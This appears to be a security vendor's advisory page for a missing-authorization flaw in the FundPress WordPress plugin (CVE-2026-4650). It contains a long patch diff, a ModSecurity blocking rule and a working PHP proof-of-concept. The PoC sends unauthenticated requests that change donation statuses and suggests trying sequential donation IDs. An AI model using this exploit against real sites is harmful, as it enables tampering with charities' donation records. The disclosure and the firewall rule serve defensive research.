+		/**
+		 * Refresh cart.
+		 */
+		public function refresh() {
+			// refresh cart_contents
+			$this->cart_contents = $this->get_cart();
+
+			// refresh cart_totals
+			$this->cart_total = $this->get_total();
+
+			// refresh cart_items_count
+			$this->cart_items_count = count( $this->cart_contents );
+		}
+
+		/**
+		 * Get cart total.
+		 *
+		 * @return mixed
+		 */
+		public function get_total() {
+			$total = 0;
+			foreach ( $this->cart_contents as $cart_item_key => $cart_item ) {
+				$total = $total + $cart_item->total;
+			}
+
+			// return total cart include tax
+			return apply_filters( 'donate_cart_totals_include_tax', $total );
+		}
+
+		/**
+		 * Set cart total.
+		 *
+		 * @return mixed
+		 */
+		public function set_total() {
+			return $this->cart_total = apply_filters( 'donate_cart_set_total', 0 );
+		}
+
+		/**
+		 * Get total exclude tax.
+		 *
+		 * @return mixed
+		 */
+		public function cart_total_exclude_tax() {
+			$total = 0;
+			foreach ( $this->cart_contents as $cart_item_key => $cart_item ) {
+				$total = $total + $cart_item->total;
+			}
+
+			// return total cart exclude tax
+			return apply_filters( 'donate_cart_exclude_totals', $total );
+		}
+
+		/**
+		 * Get total include tax.
+		 *
+		 * @return mixed
+		 */
+		public function cart_taxs() {
+			$total = 0;
+			foreach ( $this->cart_contents as $cart_item_key => $cart_item ) {
+				$total = $total + $cart_item->tax;
+			}
+
+			// return cart tax total
+			return apply_filters( 'donate_cart_tax_total', $total );
+		}
+
+		/**
+		 * Get cart item.
+		 *
+		 * @param null $item_key
+		 *
+		 * @return mixed|WP_Error
+		 */
+		public function get_cart_item( $item_key = null ) {
+			if ( $item_key && isset( $this->cart_contents[ $item_key ] ) ) {
+				return $this->cart_contents[ $item_key ];
+			}
+
+			return new WP_Error( 'donate_cart_item_not_exists', sprintf( '%s %s', $item_key, __( 'cart item is not exists', 'fundpress' ) ) );
+		}
+
+		/**
+		 * Remove cart item.
+		 *
+		 * @param null $item_key
+		 *
+		 * @return null
+		 */
+		public function remove_cart_item( $item_key = null ) {
+			do_action( 'donate_remove_cart_item', $item_key );
+
+			if ( isset( $this->cart_contents[ $item_key ] ) ) {
+				unset( $this->cart_contents[ $item_key ] );
+			}
+			$this->sessions->set( $item_key, null );
+
+			do_action( 'donate_removed_cart_item', $item_key );
+
+			// return cart item removed
+			return $item_key;
+		}
+
+		// set cart information. donor_id. donate_id. addtion_note
+		public function set_cart_information( $info = array() ) {
+			$info = wp_parse_args(
+				$info,
+				array(
+					'addtion_note' => $this->donate_info->get( 'addtion_note' ),
+					'donate_id'    => $this->donate_info->get( 'donate_id' ),
+					'donor_id'     => $this->donate_info->get( 'donor_id' ),
+				)
+			);
+
+			foreach ( $info as $key => $value ) {
+				$this->donate_info->set( $key, $value );
+				$this->{$key} = $value;
+			}
+		}
+
+		/**
+		 * Get cart information.
+		 *
+		 * @param null $key
+		 *
+		 * @return mixed
+		 */
+		public function get_cart_information( $key = null ) {
+			$infos = array(
+				'addtion_note',
+				'donate_id',
+				'donor_id',
+			);
+
+			if ( in_array( $key, $infos ) ) {
+				return $this->{$key};
+			}
+
+			return false;
+		}
+
+		/**
+		 * Destroy cart.
+		 */
+		public function remove_cart() {
+			// remove
+			$this->cart_contents = array();
+			$this->sessions->remove();
+			$this->donate_info->remove();
+
+			// refresh cart contents
+			$this->cart_contents = array();
+			$this->refresh();
+			$this->set_cart_information(
+				array(
+					'addtion_note' => '',
+					'donate_id'    => '',
+					'donor_id'     => '',
+				)
+			);
+		}
+
+		/**
+		 * Check empty cart.
+		 *
+		 * @return bool
+		 */
+		public function is_empty() {
+			return $this->is_empty = ! empty( $this->cart_contents ) ? false : true;
+		}
+
+		/**
+		 * Generate cart item key.
+		 *
+		 * @param array $params
+		 *
+		 * @return mixed
+		 */
+		public function generate_cart_id( $params = array() ) {
+
+			$html = array();
+			ksort( $params );
+			foreach ( $params as $key => $value ) {
+				if ( is_array( $value ) ) {
+					$html[] = $key . donate_array_to_string( $value );
+				} else {
+					$html[] = $key . $value;
+				}
+			}
+
+			// return cart item id
+			return apply_filters( 'donat_generate_cart_item_id', md5( implode( '', $html ) ) );
+		}
+
+		/**
+		 * Instance.
+		 *
+		 * @return DN_Cart|null
+		 */
+		static function instance() {
+			if ( ! empty( self::$_instance ) ) {
+				return self::$_instance;
+			}
+
+			return self::$_instance = new self();
+		}
+	}
+}
--- a/fundpress/inc/class-dn-sessions.php
+++ b/fundpress/inc/class-dn-sessions.php
@@ -1,168 +1,168 @@
-<?php
-/**
- * Fundpress Sessions class.
- *
- * @version     2.0
- * @package     Class
- * @author      Thimpress, leehld
- */
-
-/**
- * Prevent loading this file directly
- */
-defined( 'ABSPATH' ) || exit();
-
-if ( ! class_exists( 'DN_Sessions' ) ) {
-	/**
-	 * Class DN_Sessions.
-	 */
-	class DN_Sessions {
-
-		/**
-		 * @var null
-		 */
-		static $_instance = null;
-
-		/**
-		 * @var array|mixed|null
-		 */
-		public $session = null;
-
-		/**
-		 * @var float|int|null
-		 */
-		private $live_item = null;
-
-		/**
-		 * @var bool
-		 */
-		private $remember = false;
-
-		/**
-		 * @var null|string
-		 */
-		public $prefix = null;
-
-		/**
-		 * DN_Sessions constructor.
-		 *
-		 * @param string $prefix
-		 * @param bool $remember
-		 */
-		public function __construct( $prefix = '', $remember = true ) {
-			if ( ! $prefix ) {
-				return;
-			}
-			$this->prefix    = $prefix;
-			$this->remember  = $remember;
-			$this->live_item = 12 * HOUR_IN_SECONDS;
-			// get all
-			$this->session = $this->load();
-		}
-
-		/**
-		 * Load all with prefix.
-		 *
-		 * @return array|mixed
-		 */
-		public function load() {
-			/**
-			 * Only start to prevent request-timeout when
-			 * wp try to call a test to a rest-api for site-health feature.
-			 */
-			try {
-				if ( isset( $_SESSION[ $this->prefix ] ) ) {
-					return $_SESSION[ $this->prefix ];
-				} elseif ( $this->remember && isset( $_COOKIE[ $this->prefix ] ) ) {
-					$_SESSION[ $this->prefix ] = json_decode( $_COOKIE[ $this->prefix ] );
-					if ( json_last_error() !== JSON_ERROR_NONE ) {
-						throw new Exception( 'JSON decode: ' . json_last_error_msg() );
-					}
-
-					return $_SESSION[ $this->prefix ];
-				}
-			} catch ( Throwable $e ) {
-			}
-
-			return array();
-		}
-
-		/**
-		 * Remove session.
-		 */
-		public function remove() {
-			if ( isset( $_SESSION[ $this->prefix ] ) ) {
-				unset( $_SESSION[ $this->prefix ] );
-			}
-
-			if ( $this->remember && isset( $_COOKIE[ $this->prefix ] ) ) {
-				donate_setcookie( $this->prefix, '', time() - $this->live_item );
-				unset( $_COOKIE[ $this->prefix ] );
-			}
-		}
-
-		/**
-		 * Set key.
-		 *
-		 * @param string $name
-		 * @param null $value
-		 */
-		public function set( $name = '', $value = null ) {
-			if ( ! $name ) {
-				return;
-			}
-
-			$name  = sanitize_text_field( $name );
-			$value = DN_Helpper::DN_sanitize_params_submitted( $value );
-
-			$time = time();
-			if ( ! $value ) {
-				unset( $this->session[ $name ] );
-				$time = $time - $this->live_item;
-			} else {
-				$this->session[ $name ] = $value;
-				$time                   = $time + $this->live_item;
-			}
-
-			// save session
-			$_SESSION[ $this->prefix ] = $this->session;
-			// save cookie
-			donate_setcookie( $this->prefix, json_encode( $this->session ), $time );
-		}
-
-		/**
-		 * Get value.
-		 *
-		 * @param null $name
-		 * @param null $default
-		 *
-		 * @return mixed|null
-		 */
-		public function get( $name = null, $default = null ) {
-			if ( ! $name ) {
-				return $default;
-			}
-
-			if ( isset( $this->session[ $name ] ) ) {
-				return $this->session[ $name ];
-			}
-
-			return false;
-		}
-
-		/**
-		 * Instance.
-		 *
-		 * @param string $prefix
-		 *
-		 * @return DN_Sessions
-		 */
-		static function instance( $prefix = '' ) {
-			if ( ! empty( self::$_instance[ $prefix ] ) ) {
-				return self::$_instance[ $prefix ];
-			}
-
-			return self::$_instance[ $prefix ] = new self( $prefix );
-		}
-	}
-}
+<?php
+/**
+ * Fundpress Sessions class.
+ *
+ * @version     2.0
+ * @package     Class
+ * @author      Thimpress, leehld
+ */
+
+/**
+ * Prevent loading this file directly
+ */
+defined( 'ABSPATH' ) || exit();
+
+if ( ! class_exists( 'DN_Sessions' ) ) {
+	/**
+	 * Class DN_Sessions.
+	 */
+	class DN_Sessions {
+
+		/**
+		 * @var null
+		 */
+		static $_instance = null;
+
+		/**
+		 * @var array|mixed|null
+		 */
+		public $session = null;
+
+		/**
+		 * @var float|int|null
+		 */
+		private $live_item = null;
+
+		/**
+		 * @var bool
+		 */
+		private $remember = false;
+
+		/**
+		 * @var null|string
+		 */
+		public $prefix = null;
+
+		/**
+		 * DN_Sessions constructor.
+		 *
+		 * @param string $prefix
+		 * @param bool $remember
+		 */
+		public function __construct( $prefix = '', $remember = true ) {
+			if ( ! $prefix ) {
+				return;
+			}
+			$this->prefix    = $prefix;
+			$this->remember  = $remember;
+			$this->live_item = 12 * HOUR_IN_SECONDS;
+			// get all
+			$this->session = $this->load();
+		}
+
+		/**
+		 * Load all with prefix.
+		 *
+		 * @return array|mixed
+		 */
+		public function load() {
+			/**
+			 * Only start to prevent request-timeout when
+			 * wp try to call a test to a rest-api for site-health feature.
+			 */
+			try {
+				if ( isset( $_SESSION[ $this->prefix ] ) ) {
+					return $_SESSION[ $this->prefix ];
+				} elseif ( $this->remember && isset( $_COOKIE[ $this->prefix ] ) ) {
+					$_SESSION[ $this->prefix ] = json_decode( $_COOKIE[ $this->prefix ] );
+					if ( json_last_error() !== JSON_ERROR_NONE ) {
+						throw new Exception( 'JSON decode: ' . json_last_error_msg() );
+					}
+
+					return $_SESSION[ $this->prefix ];
+				}
+			} catch ( Throwable $e ) {
+			}
+
+			return array();
+		}
+
+		/**
+		 * Remove session.
+		 */
+		public function remove() {
+			if ( isset( $_SESSION[ $this->prefix ] ) ) {
+				unset( $_SESSION[ $this->prefix ] );
+			}
+
+			if ( $this->remember && isset( $_COOKIE[ $this->prefix ] ) ) {
+				donate_setcookie( $this->prefix, '', time() - $this->live_item );
+				unset( $_COOKIE[ $this->prefix ] );
+			}
+		}
+
+		/**
+		 * Set key.
+		 *
+		 * @param string $name
+		 * @param null $value
+		 */
+		public function set( $name = '', $value = null ) {
+			if ( ! $name ) {
+				return;
+			}
+
+			$name  = sanitize_text_field( $name );
+			$value = DN_Helpper::DN_sanitize_params_submitted( $value );
+
+			$time = time();
+			if ( ! $value ) {
+				unset( $this->session[ $name ] );
+				$time = $time - $this->live_item;
+			} else {
+				$this->session[ $name ] = $value;
+				$time                   = $time + $this->live_item;
+			}
+
+			// save session
+			$_SESSION[ $this->prefix ] = $this->session;
+			// save cookie
+			donate_setcookie( $this->prefix, json_encode( $this->session ), $time );
+		}
+
+		/**
+		 * Get value.
+		 *
+		 * @param null $name
+		 * @param null $default
+		 *
+		 * @return mixed|null
+		 */
+		public function get( $name = null, $default = null ) {
+			if ( ! $name ) {
+				return $default;
+			}
+
+			if ( isset( $this->session[ $name ] ) ) {
+				return $this->session[ $name ];
+			}
+
+			return false;
+		}
+
+		/**
+		 * Instance.
+		 *
+		 * @param string $prefix
+		 *
+		 * @return DN_Sessions
+		 */
+		static function instance( $prefix = '' ) {
+			if ( ! empty( self::$_instance[ $prefix ] ) ) {
+				return self::$_instance[ $prefix ];
+			}
+
+			return self::$_instance[ $prefix ] = new self( $prefix );
+		}
+	}
+}
--- a/fundpress/tests/bootstrap.php
+++ b/fundpress/tests/bootstrap.php
@@ -1,43 +1,43 @@
-<?php
-/**
- * Fundpress Unit Tests Bootstrap
- *
- * @since 1.1
- */
-class DN_Unit_Tests_Bootstrap {
-	/** @var DN_Unit_Tests_Bootstrap instance */
-	protected static $instance = null;
-	/** @var string directory where wordpress-tests-lib is installed */
-	public $wp_tests_dir;
-	/** @var string testing directory */
-	public $tests_dir;
-	/** @var string plugin directory */
-	public $plugin_dir;
-	/**
-	 * Setup the unit testing environment.
-	 *
-	 * @since 1.1
-	 */
-	public function __construct() {
-		ini_set( 'display_errors','on' );
-		error_reporting( E_ALL );
-		// Ensure server variable is set for WP email functions.
-		if ( ! isset( $_SERVER['SERVER_NAME'] ) ) {
-			$_SERVER['SERVER_NAME'] = 'localhost';
-		}
-	}
-
-	/**
-	 * Get the single class instance.
-	 *
-	 * @since 1.1
-	 * @return DN_Unit_Tests_Bootstrap
-	 */
-	public static function instance() {
-		if ( is_null( self::$instance ) ) {
-			self::$instance = new self();
-		}
-		return self::$instance;
-	}
-}
+<?php
+/**
+ * Fundpress Unit Tests Bootstrap
+ *
+ * @since 1.1
+ */
+class DN_Unit_Tests_Bootstrap {
+	/** @var DN_Unit_Tests_Bootstrap instance */
+	protected static $instance = null;
+	/** @var string directory where wordpress-tests-lib is installed */
+	public $wp_tests_dir;
+	/** @var string testing directory */
+	public $tests_dir;
+	/** @var string plugin directory */
+	public $plugin_dir;
+	/**
+	 * Setup the unit testing environment.
+	 *
+	 * @since 1.1
+	 */
+	public function __construct() {
+		ini_set( 'display_errors','on' );
+		error_reporting( E_ALL );
+		// Ensure server variable is set for WP email functions.
+		if ( ! isset( $_SERVER['SERVER_NAME'] ) ) {
+			$_SERVER['SERVER_NAME'] = 'localhost';
+		}
+	}
+
+	/**
+	 * Get the single class instance.
+	 *
+	 * @since 1.1
+	 * @return DN_Unit_Tests_Bootstrap
+	 */
+	public static function instance() {
+		if ( is_null( self::$instance ) ) {
+			self::$instance = new self();
+		}
+		return self::$instance;
+	}
+}
 DN_Unit_Tests_Bootstrap::instance();
 No newline at end of file
--- a/fundpress/vendor/autoload.php
+++ b/fundpress/vendor/autoload.php
@@ -2,6 +2,21 @@

 // autoload.php @generated by Composer

+if (PHP_VERSION_ID < 50600) {
+    if (!headers_sent()) {
+        header('HTTP/1.1 500 Internal Server Error');
+    }
+    $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
+    if (!ini_get('display_errors')) {
+        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
+            fwrite(STDERR, $err);
+        } elseif (!headers_sent()) {
+            echo $err;
+        }
+    }
+    throw new RuntimeException($err);
+}
+
 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInitbb6de1d4205486dc7aaefd5c4b3c13ad::getLoader();
+return ComposerAutoloaderInitf8443ca71a10cf2565d8243538df08d3::getLoader();
--- a/fundpress/vendor/composer/ClassLoader.php
+++ b/fundpress/vendor/composer/ClassLoader.php
@@ -42,35 +42,37 @@
  */
 class ClassLoader
 {
-    /** @var ?string */
+    /** @var Closure(string):void */
+    private static $includeFile;
+
+    /** @var string|null */
     private $vendorDir;

     // PSR-4
     /**
-     * @var array[]
-     * @psalm-var array<string, array<string, int>>
+     * @var array<string, array<string, int>>
      */
     private $prefixLengthsPsr4 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, array<int, string>>
+     * @var array<string, list<string>>
      */
     private $prefixDirsPsr4 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, string>
+     * @var list<string>
      */
     private $fallbackDirsPsr4 = array();

     // PSR-0
     /**
-     * @var array[]
-     * @psalm-var array<string, array<string, string[]>>
+     * List of PSR-0 prefixes
+     *
+     * Structured as array('F (first letter)' => array('FooBar (full prefix)' => array('path', 'path2')))
+     *
+     * @var array<string, array<string, list<string>>>
      */
     private $prefixesPsr0 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, string>
+     * @var list<string>
      */
     private $fallbackDirsPsr0 = array();

@@ -78,8 +80,7 @@
     private $useIncludePath = false;

     /**
-     * @var string[]
-     * @psalm-var array<string, string>
+     * @var array<string, string>
      */
     private $classMap = array();

@@ -87,29 +88,29 @@
     private $classMapAuthoritative = false;

     /**
-     * @var bool[]
-     * @psalm-var array<string, bool>
+     * @var array<string, bool>
      */
     private $missingClasses = array();

-    /** @var ?string */
+    /** @var string|null */
     private $apcuPrefix;

     /**
-     * @var self[]
+     * @var array<string, self>
      */
     private static $registeredLoaders = array();

     /**
-     * @param ?string $vendorDir
+     * @param string|null $vendorDir
      */
     public function __construct($vendorDir = null)
     {
         $this->vendorDir = $vendorDir;
+        self::initializeIncludeClosure();
     }

     /**
-     * @return string[]
+     * @return array<string, list<string>>
      */
     public function getPrefixes()
     {
@@ -121,8 +122,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, array<int, string>>
+     * @return array<string, list<string>>
      */
     public function getPrefixesPsr4()
     {
@@ -130,8 +130,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, string>
+     * @return list<string>
      */
     public function getFallbackDirs()
     {
@@ -139,8 +138,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, string>
+     * @return list<string>
      */
     public function getFallbackDirsPsr4()
     {
@@ -148,8 +146,7 @@
     }

     /**
-     * @return string[] Array of classname => path
-     * @psalm-var array<string, string>
+     * @return array<string, string> Array of classname => path
      */
     public function getClassMap()
     {
@@ -157,8 +154,7 @@
     }

     /**
-     * @param string[] $classMap Class to filename map
-     * @psalm-param array<string, string> $classMap
+     * @param array<string, string> $classMap Class to filename map
      *
      * @return void
      */
@@ -175,24 +171,25 @@
      * Registers a set of PSR-0 directories for a given prefix, either
      * appending or prepending to the ones previously set for this prefix.
      *
-     * @param string          $prefix  The prefix
-     * @param string[]|string $paths   The PSR-0 root directories
-     * @param bool            $prepend Whether to prepend the directories
+     * @param string              $prefix  The prefix
+     * @param list<string>|string $paths   The PSR-0 root directories
+     * @param bool                $prepend Whether to prepend the directories
      *
      * @return void
      */
     public function add($prefix, $paths, $prepend = false)
     {
+        $paths = (array) $paths;
         if (!$prefix) {
             if ($prepend) {
                 $this->fallbackDirsPsr0 = array_merge(
-                    (array) $paths,
+                    $paths,
                     $this->fallbackDirsPsr0
                 );
             } else {
                 $this->fallbackDirsPsr0 = array_merge(
                     $this->fallbackDirsPsr0,
-                    (array) $paths
+                    $paths
                 );
             }

@@ -201,19 +198,19 @@

         $first = $prefix[0];
         if (!isset($this->prefixesPsr0[$first][$prefix])) {
-            $this->prefixesPsr0[$first][$prefix] = (array) $paths;
+            $this->prefixesPsr0[$first][$prefix] = $paths;

             return;
         }
         if ($prepend) {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
-                (array) $paths,
+                $paths,
                 $this->prefixesPsr0[$first][$prefix]
             );
         } else {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
                 $this->prefixesPsr0[$first][$prefix],
-                (array) $paths
+                $paths
             );
         }
     }
@@ -222,9 +219,9 @@
      * Registers a set of PSR-4 directories for a given namespace, either
      * appending or prepending to the ones previously set for this namespace.
      *
-     * @param string          $prefix  The prefix/namespace, with trailing '\'
-     * @param string[]|string $paths   The PSR-4 base directories
-     * @param bool            $prepend Whether to prepend the directories
+     * @param string              $prefix  The prefix/namespace, with trailing '\'
+     * @param list<string>|string $paths   The PSR-4 base directories
+     * @param bool                $prepend Whether to prepend the directories
      *
      * @throws InvalidArgumentException
      *
@@ -232,17 +229,18 @@
      */
     public function addPsr4($prefix, $paths, $prepend = false)
     {
+        $paths = (array) $paths;
         if (!$prefix) {
             // Register directories for the root namespace.
             if ($prepend) {
                 $this->fallbackDirsPsr4 = array_merge(
-                    (array) $paths,
+                    $paths,
                     $this->fallbackDirsPsr4
                 );
             } else {
                 $this->fallbackDirsPsr4 = array_merge(
                     $this->fallbackDirsPsr4,
-                    (array) $paths
+                    $paths
                 );
             }
         } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
@@ -252,18 +250,18 @@
                 throw new InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
             }
             $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
-            $this->prefixDirsPsr4[$prefix] = (array) $paths;
+            $this->prefixDirsPsr4[$prefix] = $paths;
         } elseif ($prepend) {
             // Prepend directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
-                (array) $paths,
+                $paths,
                 $this->prefixDirsPsr4[$prefix]
             );
         } else {
             // Append directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
                 $this->prefixDirsPsr4[$prefix],
-                (array) $paths
+                $paths
             );
         }
     }
@@ -272,8 +270,8 @@
      * Registers a set of PSR-0 directories for a given prefix,
      * replacing any others previously set for this prefix.
      *
-     * @param string          $prefix The prefix
-     * @param string[]|string $paths  The PSR-0 base directories
+     * @param string              $prefix The prefix
+     * @param list<string>|string $paths  The PSR-0 base directories
      *
      * @return void
      */
@@ -290,8 +288,8 @@
      * Registers a set of PSR-4 directories for a given namespace,
      * replacing any others previously set for this namespace.
      *
-     * @param string          $prefix The prefix/namespace, with trailing '\'
-     * @param string[]|string $paths  The PSR-4 base directories
+     * @param string              $prefix The prefix/namespace, with trailing '\'
+     * @param list<string>|string $paths  The PSR-4 base directories
      *
      * @throws InvalidArgumentException
      *
@@ -425,7 +423,8 @@
     public function loadClass($class)
     {
         if ($file = $this->findFile($class)) {
-            includeFile($file);
+            $includeFile = self::$includeFile;
+            $includeFile($file);

             return true;
         }
@@ -476,9 +475,9 @@
     }

     /**
-     * Returns the currently registered loaders indexed by their corresponding vendor directories.
+     * Returns the currently registered loaders keyed by their corresponding vendor directories.
      *
-     * @return self[]
+     * @return array<string, self>
      */
     public static function getRegisteredLoaders()
     {
@@ -555,18 +554,26 @@

         return false;
     }
-}

-/**
- * Scope isolated include.
- *
- * Prevents access to $this/self from included files.
- *
- * @param  string $file
- * @return void
- * @private
- */
-function includeFile($file)
-{
-    include $file;
+    /**
+     * @return void
+     */
+    private static function initializeIncludeClosure()
+    {
+        if (self::$includeFile !== null) {
+            return;
+        }
+
+        /**
+         * Scope isolated include.
+         *
+         * Prevents access to $this/self from included files.
+         *
+         * @param  string $file
+         * @return void
+         */
+        self::$includeFile = Closure::bind(static function($file) {
+            include $file;
+        }, null, null);
+    }
 }
--- a/fundpress/vendor/composer/InstalledVersions.php
+++ b/fundpress/vendor/composer/InstalledVersions.php
@@ -21,23 +21,36 @@
  * See also https://getcomposer.org/doc/07-runtime.md#installed-versions
  *
  * To require its presence, you can require `composer-runtime-api ^2.0`
+ *
+ * @final
  */
 class InstalledVersions
 {
     /**
+     * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to
+     * @internal
+     */
+    private static $selfDir = null;
+
+    /**
      * @var mixed[]|null
-     * @psalm-var array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}|array{}|null
+     * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
      */
     private static $installed;

     /**
+     * @var bool
+     */
+    private static $installedIsLocalDir;
+
+    /**
      * @var bool|null
      */
     private static $canGetVendors;

     /**
      * @var array[]
-     * @psalm-var array<string, array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}>
+     * @psalm-var array<string, array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
      */
     private static $installedByVendor = array();

@@ -96,7 +109,7 @@
     {
         foreach (self::getInstalled() as $installed) {
             if (isset($installed['versions'][$packageName])) {
-                return $includeDevRequirements || empty($installed['versions'][$packageName]['dev_requirement']);
+                return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false;
             }
         }

@@ -117,7 +130,7 @@
      */
     public static function satisfies(VersionParser $parser, $packageName, $constraint)
     {
-        $constraint = $parser->parseConstraints($constraint);
+        $constraint = $parser->parseConstraints((string) $constraint);
         $provided = $parser->parseConstraints(self::getVersionRanges($packageName));

         return $provided->matches($constraint);
@@ -241,7 +254,7 @@

     /**
      * @return array
-     * @psalm-return array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}
+     * @psalm-return array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}
      */
     public static function getRootPackage()
     {
@@ -255,7 +268,7 @@
      *
      * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect.
      * @return array[]
-     * @psalm-return array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}
+     * @psalm-return array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}
      */
     public static function getRawData()
     {
@@ -278,7 +291,7 @@
      * Returns the raw data of all installed.php which are currently loaded for custom implementations
      *
      * @return array[]
-     * @psalm-return list<array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}>
+     * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
      */
     public static function getAllRawData()
     {
@@ -301,17 +314,35 @@
      * @param  array[] $data A vendor/composer/installed.php data set
      * @return void
      *
-     * @psalm-param array{root: array{name: string, version: string, reference: string, pretty_ve

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-4650
# Block unauthenticated access to the donate_action_status AJAX action
# This virtual patch checks for the exact endpoint, the specific AJAX action, and the required schema parameter

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20264650,phase:2,deny,status:403,chain,msg:'CVE-2026-4650 - FundPress Unauthenticated Donation Status Change',severity:'CRITICAL',tag:'CVE-2026-4650'"
  SecRule ARGS_POST:action "@streq donate_action_status" 
    "chain"
    SecRule ARGS_GET:schema "@streq donate-ajax" 
      "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4650 - FundPress <= 2.0.8 - Missing Authorization to Unauthenticated Arbitrary Donation Status Modification

// Configure target WordPress site
$target_url = 'http://example.com'; // CHANGE THIS

// The donation ID to modify (sequential integers, try 1, 2, 3...)
$donation_id = 1;

// The new status to assign (e.g. 'dn-completed', 'dn-pending', 'dn-cancelled')
$new_status = 'dn-completed';

// Build the AJAX request
$post_url = $target_url . '/wp-admin/admin-ajax.php';
$get_params = '?schema=donate-ajax';

$post_data = array(
    'action'    => 'donate_action_status',
    'donate_id' => $donation_id,
    'status'    => $new_status
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url . $get_params);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: " . $http_code . "n";
echo "Response: " . $response . "n";

if ($http_code == 200 && strpos($response, 'success') !== false) {
    echo "[+] Successfully changed donation ID $donation_id to status '$new_status'.n";
} else {
    echo "[-] Failed to change donation status. The site may be patched or the donation ID does not exist.n";
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School